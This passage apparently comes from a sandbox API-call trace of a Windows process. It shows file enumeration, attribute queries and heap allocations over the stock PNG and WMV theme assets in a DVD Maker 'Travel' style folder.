dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.520] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0067.520] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0067.520] GetLastError () returned 0x12 [0067.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.520] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.521] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.521] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0067.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.521] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0067.521] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.521] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd0498 [0067.522] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd0498, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfd0498, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.522] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd0498) returned 1 [0067.522] NtClose (Handle=0x148) returned 0x0 [0067.522] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.522] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.561] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.561] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0067.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcef88 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd878 [0067.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcefa8 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd980 [0067.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.562] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0067.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0067.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.563] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 